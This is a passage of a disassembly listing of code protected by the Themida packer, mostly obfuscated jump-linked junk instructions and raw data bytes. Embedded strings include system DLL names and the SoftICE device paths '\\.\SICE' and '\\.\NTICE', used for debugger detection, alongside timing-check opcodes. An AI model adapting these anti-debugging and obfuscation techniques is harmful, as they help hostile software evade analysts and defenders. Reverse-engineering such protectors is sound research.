6B0D45DBh sub esp, 4 jmp loc_57371A ; --------------------------------------------------------------------------- loc_576374: ; CODE XREF: Themida_:0056FA06j push ebx mov ebx, 4CA866FFh or ecx, ebx jmp loc_567EA2 ; --------------------------------------------------------------------------- loc_576381: ; CODE XREF: Themida_:00568C9Aj push esp pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] jmp loc_571DBA ; --------------------------------------------------------------------------- db 81h, 0C5h, 0D9h dd 0FF7FF84Ah, 0C9E92434h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5763A7: ; CODE XREF: Themida_:00576A9Bj mov ebp, 38716316h jmp loc_56DE1C ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 3A0CDEB0h, 0FF991AE9h, 24048FFFh, 0FF4EBBE9h, 0B8505EFFh dd 4, 5757C681h, 0C681754Ch, 210427C4h, 56C4C681h, 0C6810785h dd 2BFE18DEh, 0EE81C601h, 2BFE18DEh, 56C4EE81h, 1DE90785h dd 0B8FFFF0Ah, 4, 8758C101h, 0E95C240Ch, 0FFFF9C6Ah ; --------------------------------------------------------------------------- loc_576408: ; CODE XREF: Themida_:00576793j add edx, 16D068Dh pop ebp jmp loc_572F4C ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFBF8EE9h, 0C4BE56FFh, 466EC14Ah, 196DE681h dd 0EED172ACh, 468BF681h, 0D6F71F7Dh, 9A8EF681h, 0B3E9EA01h dd 5CFFFF9Ah, 4EC81h, 14890000h, 7136BA24h, 0BB051825h dd 132FC02h, 2BB2DD0h, 34FF32FCh, 0C4835A24h, 0F3D3E904h dd 7C01FFFFh, 5D5F0424h, 4EC81h, 4890000h, 4B824h, 0C5010000h dd 0FF7663E9h, 885066FFh, 88CCFEF4h, 515866E6h, 0ED80A5B5h dd 59EE200Bh, 6AE9D6F6h db 0BAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57649B: ; CODE XREF: Themida_:0056DD3Aj push edx mov dl, bh mov cl, dl pop edx jmp loc_566E71 ; --------------------------------------------------------------------------- dw 489h dd 19086824h, 34890000h, 0E9515324h, 0FFFEADEBh ; --------------------------------------------------------------------------- loc_5764B8: ; CODE XREF: Themida_:0056E727j mov eax, [edx] mov edx, [esp] push ebp push esp pop ebp push ebx mov ebx, 4 jmp loc_57549A ; --------------------------------------------------------------------------- db 5Ch dd 54240489h, 40558h, 89520000h, 4C281E2h, 83000000h, 148704EAh dd 24248B24h, 0BF243C89h, 35EE617Dh, 6723E781h, 0C7813226h dd 6FB174A1h, 0E905EFC1h, 0FFFF6714h, 55240489h, 0FEDE5CE9h dd 0E18951FFh, 4C181h, 0E9830000h, 240C8704h, 48F545Ch dd 24048124h, 4, 468505Ah, 58000000h, 6858C201h, 5C71h dd 0E9240C89h, 0FFFF0C9Ah, 2AECB951h, 0E9574D63h, 0FFFED907h ; --------------------------------------------------------------------------- loc_57654C: ; CODE XREF: Themida_:0056FFBAj add esp, 4 mov ecx, [esp] add esp, 4 push 65D0h mov [esp], esi push esi mov esi, esp add esi, 4 push edx mov edx, 2E1F7FFDh or edx, 226D3BFEh or edx, 5BE0581Bh add edx, 80008005h jmp loc_568D5A ; --------------------------------------------------------------------------- dw 0CA01h dd 0FFEEACE9h db 0FFh ; --------------------------------------------------------------------------- loc_57658D: ; CODE XREF: Themida_:0056E751j or edi, edx push dword ptr [esp] pop edx add esp, 4 add edi, 1 not edi push edx mov edx, 3E196B06h sub edi, edx pop edx xor eax, edi pop edi push eax push edi mov edi, 35127CDDh jmp loc_56983B ; --------------------------------------------------------------------------- dw 0E100h dd 8324048Bh, 0E98004C4h, 59C80033h, 4EC8357h, 0FF8718E9h dd 24C381FFh, 0FF069F78h, 34FF2434h, 73685924h, 89000047h dd 0E2892414h, 4C281h, 0ADE90000h, 0FFFFFF33h, 669D1C77h dd 24041858h, 8FEDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5765FE: ; CODE XREF: Themida_:005677C1j pop esi add ebx, 4CC616Eh mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_57369D ; --------------------------------------------------------------------------- a0FzaM db '0×fZ€ÆŒ',0 dd 8CEE80FEh, 0FF1010E9h, 0D8005BFFh, 6963E952h, 0EA81FFFFh dd 2B9442C5h, 0FEF806E9h, 14875DFFh, 0BE565C24h, 2, 348BF57h dd 0F78146C0h, 1835761Bh, 27F2F781h, 81470FAEh, 0B7FE6BC7h dd 0E9F901E6h, 0FFFFC2BBh, 4BD55h, 0B6E90000h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57667F: ; CODE XREF: Themida_:005705FFj push dword ptr [esp+4] push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_56E8BD ; --------------------------------------------------------------------------- dd 44822DADh, 552D22E2h, 54D2146h, 79502CDCh, 0FFFB85E9h db 0FFh ; --------------------------------------------------------------------------- loc_5766A9: ; CODE XREF: Themida_:00563C62j pop edx mov ecx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 5A596D30h mov edx, 98EC7177h add edx, ebx jmp loc_562FC3 ; --------------------------------------------------------------------------- dd 0FDE9F7B6h db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5766CB: ; CODE XREF: Themida_:00568D55j mov ecx, [esp] jmp loc_56B8D7 ; --------------------------------------------------------------------------- loc_5766D3: ; CODE XREF: Themida_:0056960Bj mov esi, [esp] add esp, 4 shr esi, 7 jmp loc_56A70B ; --------------------------------------------------------------------------- dd 0C0B60F5Dh, 688734FFh, 204Ch, 0BD242C89h, 3FCh, 0FFB4D6E9h dd 16C281FFh, 811A3679h, 7E92C3C2h, 5AD02921h, 52E3548h dd 0C689A363h, 0FEFF71E9h, 0AEA0BFFFh, 0C4E95C24h, 5BFFFFB8h dd 0D442E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57672A: ; CODE XREF: Themida_:00563D77j pop dword ptr [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx push 5470h mov [esp], ecx push 110Bh jmp loc_565963 ; --------------------------------------------------------------------------- loc_576746: ; CODE XREF: Themida_:00567C16j pop esp mov [esp], eax push 0 mov eax, [esp] add esp, 4 mov [edi+24h], eax mov eax, [esp] push ebx jmp loc_56D43F ; --------------------------------------------------------------------------- db 58h, 87h, 1Ch dd 0AD9AE924h, 0B551FFFFh, 59EF30FBh, 0FF9FA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_576775: ; CODE XREF: Themida_:005709FFj not dword ptr [esp] pop edx push ebp mov ebp, 0DD8BD7E4h sub edx, 16D068Dh add edx, 43624E8Ah sub edx, ebp sub edx, 43624E8Ah jmp loc_576408 ; --------------------------------------------------------------------------- dd 0FC00DEB7h, 0E2885B66h, 0FFA397E9h, 245401FFh, 0C7E95A08h dd 1FFFF48h, 240C8BCDh, 6804C483h, 2B18h, 0B8240489h, 4 dd 6858C529h, 3AA3h, 0FF8335E9h db 0FFh ; --------------------------------------------------------------------------- loc_5767D1: ; CODE XREF: Themida_:00561E9Cj add esp, 4 dec cl jmp loc_56B0CB ; --------------------------------------------------------------------------- db 81h dd 0BBEBB0C3h, 5BDF0158h, 0FF393EE9h, 65E953FFh db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5767EF: ; CODE XREF: Themida_:005689F3j add esp, 4 shl ebx, 6 jmp loc_5732DC ; --------------------------------------------------------------------------- db 51h, 83h, 0ECh dd 24348904h, 4BEh, 5EF18900h, 4244C01h, 24148B59h, 8304C483h dd 0C8904ECh, 83A9E924h, 0C483FFFFh, 0E0C1E904h, 32FFFFFFh dd 0FEA811E9h db 0FFh ; --------------------------------------------------------------------------- loc_576831: ; CODE XREF: Themida_:0056178Ej pop edx xchg edi, [esp] pop esp push edx push ecx mov ecx, 54506698h dec ecx sub ecx, 343B2430h mov edx, ecx jmp loc_574627 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 15E9E289h, 81FFFF6Ah, 0E61223E9h, 80C18143h dd 29614077h, 3EBD55D9h, 6848314Dh, 1848h, 0E9240C89h dd 0FFFF218Ah, 148BD301h, 4C48124h, 81000000h, 525196C3h dd 0D929E91Dh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_576892: ; CODE XREF: Themida_:0056CD13j not edx and edx, 1EC82322h jmp loc_5719C1 ; --------------------------------------------------------------------------- db 52h dd 268h, 24148B00h, 0FEFBD7E9h, 0AB0F66FFh, 0E99C2404h dd 0FFFEA78Ah, 587068h, 24148900h, 0C281E289h, 4, 4EC81h dd 4890000h, 0BCCEE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5768D6: ; CODE XREF: Themida_:0056E6DEj add [esp+4], edx add dword ptr [esp+4], 687A7C7Eh mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_56E5B1 ; --------------------------------------------------------------------------- db 83h dd 0C52D04C4h, 681E0A49h, 2661h, 0E9241489h, 0FFFF836Dh dd 68E9E289h, 53FFFF5Ch, 42474FFh, 0FFE3F1E9h, 8BD821FFh dd 35E9241Ch db 1Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_576923: ; CODE XREF: Themida_:00572CCCj push 223E1414h pop ecx shl ecx, 2 shr ecx, 7 jmp loc_56DDDC ; --------------------------------------------------------------------------- loc_576934: ; CODE XREF: Themida_:00570124j xchg eax, [esp] mov ebx, [esp] add esp, 4 xchg ebx, edi xor [esp], edi xor edi, [esp] jmp loc_567269 ; --------------------------------------------------------------------------- db 53h, 0BBh, 7Bh dd 1014512h, 81595BDAh, 0CEF5DEAh, 0E9D7295Eh, 0FFFEE0CDh ; --------------------------------------------------------------------------- loc_576964: ; CODE XREF: Themida_:0056179Cj push 5328h mov [esp], eax push ebx mov bh, 59h sub bh, 4Eh xor bh, 6Dh mov ah, bh pop ebx sub ah, 3Dh jmp loc_562E32 ; --------------------------------------------------------------------------- dd 0C6E9CA01h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_576987: ; CODE XREF: Themida_:0056F543j mov ecx, [esp] add esp, 4 jmp loc_5676C3 ; --------------------------------------------------------------------------- loc_576992: ; CODE XREF: Themida_:0056AE94j add eax, esi pop esi jmp loc_56E1C8 ; --------------------------------------------------------------------------- loc_57699A: ; CODE XREF: Themida_:005720E4j pop ebx jmp loc_56A3CD ; --------------------------------------------------------------------------- dd 0CAE9E189h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5769A7: ; CODE XREF: Themida_:00572345j pop ebx xor al, 87h push small 11BCh jmp loc_564A85 ; --------------------------------------------------------------------------- db 0BFh dd 7A861E20h, 0FF0D40E9h db 0FFh ; --------------------------------------------------------------------------- loc_5769BD: ; CODE XREF: Themida_:0056B650j push ebx sub dword ptr [esp], 0FFFFFFFFh jmp loc_574701 ; --------------------------------------------------------------------------- loc_5769C7: ; CODE XREF: Themida_:0056906Aj add [esp+4], eax jmp loc_56E22A ; --------------------------------------------------------------------------- dd 0E904E3C1h, 0FFFEE534h ; --------------------------------------------------------------------------- loc_5769D8: ; CODE XREF: Themida_:00574D2Dj mov ecx, [esp] jmp loc_5671A0 ; --------------------------------------------------------------------------- dd 8B5BDC88h, 0C481240Ch, 4, 595C68h, 0B68EE900h, 47E9FFFEh dd 81FFFEA6h, 4C2CCCCAh, 0C2DEE933h, 685BFFFFh, 328Bh dd 0FF241489h, 8B042474h, 0E9562414h, 0FFFFAF54h, 1F168h dd 243C8900h, 0FECD8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_576A29: ; CODE XREF: Themida_:00564255j sub eax, 33654521h pop esi jmp loc_56ABCF ; --------------------------------------------------------------------------- dd 5224048Bh, 0C281E289h, 4, 4BD55h, 0EA010000h, 0FFFBFCE9h dd 243489FFh, 4BEh, 0E9F20100h, 6Ah, 0C381FB01h, 0B1E07A7h dd 7A4568h, 0E63BE900h, 34FFFFFFh, 2924E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_576A76: ; CODE XREF: Themida_:005700BEj add esp, 4 push ecx push ebx mov ebx, ebp jmp loc_5625FC ; --------------------------------------------------------------------------- dw 0F829h dd 81243C8Bh, 4C4h, 93CBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_576A92: ; CODE XREF: Themida_:00566E6Cj mov ebx, 65545506h add ecx, ebx pop ebx push ebp jmp loc_5763A7 ; --------------------------------------------------------------------------- dd 8B59CC88h, 0A3E9241Ch, 89FFFFCFh, 1D0D5FF8h, 0F7300F75h dd 1D610DD8h, 0C20514BFh, 16139AAh, 0BA5AE9C7h, 875EFFFFh dd 835C2414h, 535004C4h, 567D5B68h, 0E94B5B23h, 0FFFF1643h ; --------------------------------------------------------------------------- loc_576ADC: ; CODE XREF: Themida_:0056AD1Ej mov [esp], esi mov esi, 166B0395h sub eax, 0C6053Fh jmp loc_56EC57 ; --------------------------------------------------------------------------- loc_576AEE: ; CODE XREF: Themida_:005686E8j push ebx jmp loc_56587B ; --------------------------------------------------------------------------- dd 3C32C381h, 34E91353h, 31FFFEDEh, 1C33241Ch, 24248B24h dd 4BB0F66h, 9AE99C24h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_576B13: ; CODE XREF: Themida_:00563CAAj add ebp, eax mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_56BF8B ; --------------------------------------------------------------------------- loc_576B26: ; CODE XREF: Themida_:0057089Fj push edx push 235203E8h mov edx, [esp] jmp loc_561F5E ; --------------------------------------------------------------------------- dd 53E9h, 0E5572C00h, 45535515h, 2E323352h, 6C6C64h, 41564441h dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch dd 1000A07h, 7001D00h, 9000200h, 22200h, 7 dup(0) dd 8F0E9h, 0A4DE6800h, 0ECE907E2h, 68FFFDDCh, 7E2A55Eh dd 0FDDCE2E9h, 0A69868FFh, 0D8E907E2h, 68FFFDDCh, 7E2A800h dd 0FDDCCEE9h, 0A85868FFh, 0C4E907E2h, 68FFFDDCh, 7E2A95Fh dd 0FDDCBAE9h, 0A9C868FFh, 0B0E907E2h, 56FFFDDCh, 0C89AB46Eh dd 3D0F29E1h, 0B486A058h, 27F913CBh, 1C718B45h, 0E29C7EB3h dd 5812F6C8h, 0D1896C3Eh, 45FFE5B7h, 3D604B2Bh, 21D7FD74h dd 0C6FE980Ah, 484E08ECh, 0A1690D6h, 73F3162Dh, 0F52E5AA5h dd 10EAEDA2h, 286B7129h, 0E880B5AEh, 4D05EEC8h, 0E2DF347h dd 72DAD4F7h, 499C5020h, 2407E144h, 0E12666Ch, 5C401A31h dd 1A3D9CA2h, 548063ABh, 82C1D82Bh, 8094525Fh, 0B6802C4Bh dd 0B682A028h, 0A0666A15h, 4B2ECA6Fh, 5A349399h, 862B4E74h dd 0F04B8094h, 4B05EB9Dh, 8DA44F46h, 0E13CDB3h, 0DDAF1117h dd 57643DF7h, 0ECC46D35h, 737D503h, 21090000h, 947B4D67h dd 0BF0C2DCh, 7E673953h, 0F8DAACC6h, 0E6CF243Eh, 7B954F31h dd 0F10BC5A9h, 6A843C1Fh, 0DEF8B298h, 0C1F013FEh, 0BD21D7FCh dd 452BB14Bh, 0F723868Bh, 62C06986h, 0DB2F35C1h, 0A0DFF635h dd 10733E61h, 0B80B29BAh, 71AF6FB2h, 3D692E57h, 0BFD25F78h dd 94782A25h, 0D8DED5DAh, 754F66B9h, 0EEC0DA92h, 504E530Bh dd 9021446Ah, 0E621D7EBh, 80FE893h, 0A1EE15DEh, 6B78AB8h dd 0A1890000h, 14FBCDE7h, 8B70425Ch, 0FEE7B9D3h, 785A2C46h dd 664FA4BEh, 0FB15CFB1h, 718B4529h, 0EA04BC9Fh, 5E783218h dd 4170937Eh, 3D21D7FCh, 0ECC631CBh, 81F5F607h, 84C313CFh dd 84CFD5D9h, 0A2227D77h, 2BCA29Ch, 5F19FFFDh, 0F0CAE55Ah dd 0D64B5109h, 239ECA79h, 83495D8Dh, 90954F33h, 0E2E8EE99h dd 543412A4h, 8ECFh, 0ECC61900h, 4D474D05h, 0BC96AD67h dd 258CAFD3h, 5129BAA1h, 0BFA153FEh, 3090005h, 0CBE2A7A1h dd 6B29BAA0h, 0A0A8092Ch, 7BCE29BAh, 0DB957B75h, 0AC8B95C1h dd 7E335695h, 0F829BAA0h, 5803BB9Eh, 0DAB4F352h, 41383DF5h dd 0D542F83Bh, 0E93C2E5Ah, 5D15F8D2h, 462D0746h, 9792898Eh dd 21DA2D1Ah, 0A90B1164h, 0A4D0F4D7h, 7DAC8B4h, 1A9792F7h dd 2421DA65h, 0DA64B001h, 9C73C621h, 48879E49h, 0DA648C25h dd 999FF221h, 5BF1E4Ch, 2BB40000h, 23868B45h, 0A0F0C1E4h dd 338629BAh, 0F837D92Dh, 9174BEE1h, 0B70A2E5Ah, 2BE5CB9Dh dd 0FC3BE511h, 0D267C2E5h, 0CC1F2677h, 40F8DBB5h, 0B9715426h dd 16D0B6B4h, 35BBBC3Dh, 0C2F0D9E6h, 57Dh, 721DBC3h, 7C964E35h dd 0F30DC5AAh, 66803821h, 0DEF8B294h, 9EB2089h, 7F63354Fh dd 0F6D9ABC5h, 6C52243Eh, 0CDB898B2h, 0D7FB07AAh, 63FD6F21h dd 0DA32452Bh, 1AD4B6D4h, 7C26E916h, 466F4265h, 0B40729BAh dd 62A10409h, 0BA46723Fh, 0B3B90C29h, 1419D3B9h, 7E116E9Fh dd 29BA483Ch, 7F3B677Eh, 7CC0CF3Fh, 0AC69486Bh, 0C21529B9h dd 0DC0B1117h, 0F954341Fh, 0FFFFFED6h, 8B452B43h, 45E22E86h dd 0B9330B2Eh, 0AB852E5Ah, 3081A4C8h, 4621DA86h, 234248F3h dd 86704164h, 5A0621DAh, 0D5A30AF9h, 90A752F9h, 0DA61446Dh dd 3CE73A21h, 89ACEB22h, 21DA6128h, 0A1F5FB4Eh, 86A9C07Fh dd 267A7778h, 43A6ABFEh, 0C8CD8769h, 2688CBD1h, 1729BA4Bh dd 0C70359B6h, 155434B0h, 0E17CD9E9h, 0DEE42BD3h, 1605Ah dd 0BFB3A400h, 0F70E2DF3h, 5AA592D4h, 6A81D42Eh, 0EEF4AE90h dd 0B5CC0AF1h, 2BF5E880h, 0DCB6F50Ch, 995337F8h, 0EDF29D94h dd 1ADF0F6h, 37502073h, 179EE70Bh, 0A2A89B37h, 0C82B3083h dd 0C54B6689h, 0E0334FDFh, 9D9A86DAh, 0BC626386h, 91E4547Fh dd 0C3984E7Ah, 923A3792h, 6D532D8Ch, 5D0FC7ACh, 0FA14BF79h dd 506184C3h, 264B7FD6h, 8275587Ah, 48F37AA0h, 0A8624842h dd 6DED64CFh, 5E8C75C4h, 415h, 6F89432Bh, 0E4FEB69Dh, 5B752D12h dd 0CEE8A089h, 46601AFCh, 7153C8F1h, 0E7CB9DB7h, 5E41132Dh dd 0D4BA8CA6h, 3520001Ah, 0D7F89F12h, 0CB65D721h, 0D9F04FD1h dd 580260B6h, 6C83D62Eh, 0DDF7AF92h, 30EACCA6h, 954D302Ah dd 0F2AC9290h, 15CBB419h, 0B2E0C9EEh, 3BDh, 0C7E19B83h dd 3C560EF5h, 0B3CD856Ah, 2640F8E1h, 9EB87254h, 0C9AB6049h dd 3F23F50Fh, 0B6996B85h, 2C12E4FEh, 8D785872h, 0D7F9476Ah dd 23BD2F21h, 0A284452Bh, 5D80E3E8h, 29BAA154h, 812CD72Ah dd 5A3F197Ch, 0A0A69DA2h, 106C0A6h, 63682003h, 0C1C67E65h dd 70B31059h, 26B91647h, 29BAA294h, 9F2A87AAh, 15429BAh dd 0E8699856h, 1B865434h, 0D0FFFFFDh, 868B452Bh, 2E45E22Eh dd 5AB89F0Bh, 6C86D92Eh, 0EEB2B372h, 0CBEE0522h, 2E5AA59Bh dd 0EED58ADDh, 79CDCAB9h, 0AE90947Ch, 494E06EDh, 0ABA2A752h dd 0D0AAE900h, 8F492DEEh, 0E2E8DFE4h, 631A0F9Fh, 694F297Eh dd 0AFB3AAAFh, 60E3CD4Bh, 52717773h, 7EA2FAFFh, 0DE7F3255h dd 9DF781A2h, 5FC01BBh, 9120435Ah, 0ED81A2DEh, 0B5D8EF9Ah dd 8642D610h, 904A2C86h, 0EF4CEE5h, 0C4033A54h, 0C2A610A1h dd 0D136679h, 9A732D13h, 962B233Bh, 0B63D6B54h, 8A000002h dd 0FCCEE8A2h, 71435D15h, 0E8BAD48Ch, 5B2D47FFh, 50A5BF79h dd 16D0B267h, 8C462AFCh, 5BDA072h, 793319EBh, 71947F5Fh dd 21D7F840h, 0D12AC436h, 0B6D9F04Fh, 2E58024Ah, 0D78F76D0h dd 36F0D4D2h, 0E48F3A31h, 530DF3CDh, 0F251574Eh, 637D3518h dd 0DFF6AE91h, 62682005h, 77311715h, 15CB459Eh, 4B7962EEh dd 24Dh, 37510BF3h, 0ACC67E65h, 233DF5DAh, 96B06851h, 0E28E2C4h dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh, 0FDE8C8E2h dd 0D7F7D7DAh, 932D9F21h, 61844FD1h, 29BAA150h, 99BCD326h dd 29BAA118h, 49600B5Eh, 5801DA26h, 0F60D602Eh, 0C0A7AECAh dd 6D73002Ch, 8D4E340Eh, 2D47F2AAh, 11351CF6h, 0D82FC3EEh dd 0BD68BB21h, 67BBC1B8h, 43667DB8h, 21D83078h, 53B6BB0Eh dd 0FFB2D514h, 7721D82Fh, 2F882924h, 42EE21D8h, 0D3D7C075h dd 309B478h, 7F662709h, 0F779385Bh, 0B20521D7h, 600B0207h dd 3D1FF95Bh, 0D23D6983h, 23FD3C53h, 49322A3Dh, 421DF7FCh dd 94429297h, 4E7CB698h, 2B6E741Fh, 21D88F8Eh, 6A4F29E8h dd 8FFAB7B2h, 318421D8h, 8FBAF71Ah, 71C421D8h, 0DDC3C1C6h dd 0E2BC1E23h, 562842FCh, 3BB1B670h, 0FBB59973h, 570FF8F6h dd 0B6705452h, 3F82DF0Ch, 0DD2F8479h, 0B3AEE4F7h, 366C18E0h dd 4044A941h, 8833E36Ch, 0FCB69C6Eh, 5D17F9F7h, 4AA7F058h dd 46601A00h, 0EDD19274h, 0D838833h, 0D62571Dh, 0DF977C56h dd 43FDDFD9h, 0BB755729h, 1DD5B8B6h, 0DF0B2218h, 563BB4BDh dd 0B6349A9Eh, 1217CFB8h, 3659701Bh, 21D7F67Bh, 35AAB003h dd 0F2AC8ED8h, 662006D8h, 1B591A61h, 0A1CE89E7h, 1E69954Ch dd 0F5661032h, 3E9E3E9h, 6F583249h, 9201B3B7h, 0FCB68B3Dh dd 0DCC294F6h, 3D1F1D22h, 0EC0B7E83h, 729AC4C0h, 0D697047h dd 59011DF2h, 6CE1E792h, 25DFC517h, 9953390Bh, 57D43C94h dd 0C8826640h, 67C6CCC3h, 0C9267244h, 0AAC1146Eh, 1669486Bh dd 0C2157149h, 0E22E5ABCh, 2F0B2E45h, 4975E677h, 0B48EF1F6h dd 140E14CEh, 0C9886D2Eh, 31282DE7h, 0DF8A8186h, 0CEB48EC5h dd 2E140E14h, 78CCE508h, 0F2D76A27h, 673E353Ah, 0C16C240Dh dd 6B70280Fh, 7DC4C974h, 7C2A32C2h, 0C5EB3E8h, 80526C26h dd 78DBE09Ah, 0FB01B99Eh, 5B601801h, 91DB3865h dd 5BBF98ABh, 0AA7480C9h, 383E52ECh, 15C06BF8h, 894329FBh dd 62472184h, 167AA4AAh, 0D3000000h, 19407194h, 0E3367C26h dd 2924BBDDh, 24DA0AFDh, 0F6FC686Dh, 89432BD4h, 0E6A08684h dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h dd 25DDC2C0h, 833B2220h, 89566D7Eh, 4C681E6h, 83000000h dd 343304EEh, 24343124h, 5C243433h, 4EC81h, 4890000h, 4C376824h dd 2C890000h, 6AFC6824h, 34890000h, 7DEDBE24h, 0CE814C3Ah dd 38674F70h, 0FCF68146h, 811AB971h, 16940CEh, 17EE8117h dd 896FE4CBh, 0EC815EF0h, 4, 81242489h, 42404h, 685D0000h dd 6099h, 8F240489h, 2C8B0845h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 5024048Bh, 405E089h, 83000000h, 48704C0h dd 8E95C24h, 0E0FFFDD4h, 0AC3AB840h, 0C50307E2h, 3E4CE0FFh dd 6FF215A7h, 36F94F70h, 50D401C3h, 0A3F66D4h, 58CE4CB4h dd 4BA87079h, 0A2937550h, 0D9CB010Ah, 43F93557h, 57D36357h dd 70A24D0Bh, 1AC54057h, 90F8456Eh, 0D0F11F1Ah, 6B073741h dd 0B55B3783h, 0C6610D8h, 0FA46A72h, 349166C6h, 0B2FE5434h dd 0CCBF715Ah, 90866710h, 0E8E3549Bh, 6A686BD5h, 6772340h dd 0F2CC76C5h, 3D202D33h, 930A64D9h, 190E1762h, 248757A8h dd 721C0C78h, 0FE87501h, 0F7000000h, 6901C12Fh, 0EACDBBC1h dd 0E399FE63h, 8B666BE5h, 870F5AD9h, 3, 8187DB80h, 617CC2h dd 0AE800h, 2BF30000h, 0C7F511DFh, 6D94D052h, 10E9h, 0A545AB00h dd 0CB382275h, 304962Ch, 0A8D33FCFh, 6EB95FFEh, 814DE0D1h dd 0E0B94AE9h, 32FFF84Dh, 0AE9h, 0FCABD400h, 0CB667826h dd 5EEEC0C2h, 81DABF0Fh, 16D1EEh, 0DE97Ch, 6ED90000h, 9751B6BFh dd 0A3260943h, 81E740B3h, 0A2B1BDC6h, 0F5F56031h, 0D2C68161h dd 0B8394082h, 27AEE059h, 4DDF8056h, 0D1BF028Fh, 812F53FFh dd 0EE20D0EAh, 21E88018h, 20CCC281h, 0F08118EEh, 2FD0424h dd 15850F49h, 0B3000000h, 2DE9DCh, 10AF0000h, 0F4992951h dd 6C1C7F03h, 2C393439h, 8D0Fh, 77E90000h, 7DFFFFFFh, 2E79BF97h dd 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 0E99ED492h, 8Dh, 39BD8360h dd 7E033h, 5840Fh, 78E90000h, 6A000000h, 303E8000h, 8850Fh dd 6A0000h, 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h dd 80000000h, 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh, 12h, 17E80h dd 8850Fh, 0C4830000h, 15E908h, 858D0000h, 7E021E9h, 50905090h dd 6A243489h, 7195FF00h, 6107E02Fh, 5985C6C3h, 4D07E007h dd 28204A68h, 2404817Dh, 270D565Eh, 3085B5FFh, 858D07E0h dd 7E039F8h, 8589D0FFh, 7E02F71h, 5C5C1EEBh, 49535C2Eh dd 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh dd 454349h, 9D09C08Bh, 7E03245h, 6B1BD83h, 750007E0h, 0C5BD8309h dd 7E001h, 53501974h, 0FB8C08Bh, 89000004h, 0E020F585h dd 629D8D07h, 0FF07E2BCh, 83585BD3h, 0E001C5BDh, 17740007h dd 0FB85350h, 89000004h, 0E020F585h, 519D8D07h, 0FF07E2B9h dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0BE84C357h, 0C5EFD5DDh, 0F8D0BF0Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h dd 0B58981B3h, 7E030B5h, 2CE18166h, 6AC08B09h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0BB00C355h, 10B52832h, 13558589h, 50BA07E0h, 0C6521B64h dd 0E0075985h, 840F4307h, 7, 18F0Fh, 68F80000h, 0BBD41EEDh dd 81FB8B66h, 500F2404h, 0C98000BAh, 1B5FF87h, 6A07E02Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0AA89C350h, 7AF4CAA0h, 8D89719Fh, 7E0102Dh dd 39F8858Dh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 95A243C3h, 3B3EFBB5h, 8B665753h dd 90D0FFD0h, 7E9h, 0B1F19A00h, 0EB139675h, 11E950h, 278E0000h dd 94FB9BE3h, 55AF742Eh, 60D22968h, 90AC2D3Bh, 6A2CF680h dd 0A1952B00h, 0F07E015h, 78Fh, 81665600h, 598073F2h, 4E8h dd 8000h, 506BB100h, 74346B9h, 24448B2Ch, 10860F04h, 0E9000000h dd 0Bh, 13564A30h, 39DACDABh, 8BF05E5Ah, 0D9BF6600h, 244489C5h dd 5843B604h, 2B019D89h, 36A07E0h, 6850Fh, 0BD030000h dd 7E0229Dh, 0BA66006Ah, 850FA07Ch, 3, 6AF6BF0Fh, 57006A03h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 94577D7h, 8077DD40h, 5B68CFD2h, 814D0684h, 7BA52404h dd 0B58B72F9h, 7E01CC1h, 0AF0E9D8Dh, 0B70F07E2h, 525050F6h dd 52505250h, 585A310Fh, 0CA8B310Fh, 310F585Ah, 0F525060h dd 66585A31h, 61C276BFh, 1C89585Ah, 6E924h, 29A50000h dd 9B4C6A95h, 0B529D0FFh, 7E019F5h, 1B850F40h, 0F000003h dd 38Ch, 0D7BF0F00h, 58CAB70Fh, 19A5B58Bh, 665007E0h, 89B446BAh dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0F27E78C3h, 820Fh, 6A0000h, 2E8D8D8Bh, 860F07E0h dd 0Eh, 8A0F60h, 8B000000h, 0E006519Dh, 6C686107h, 0B92BC723h 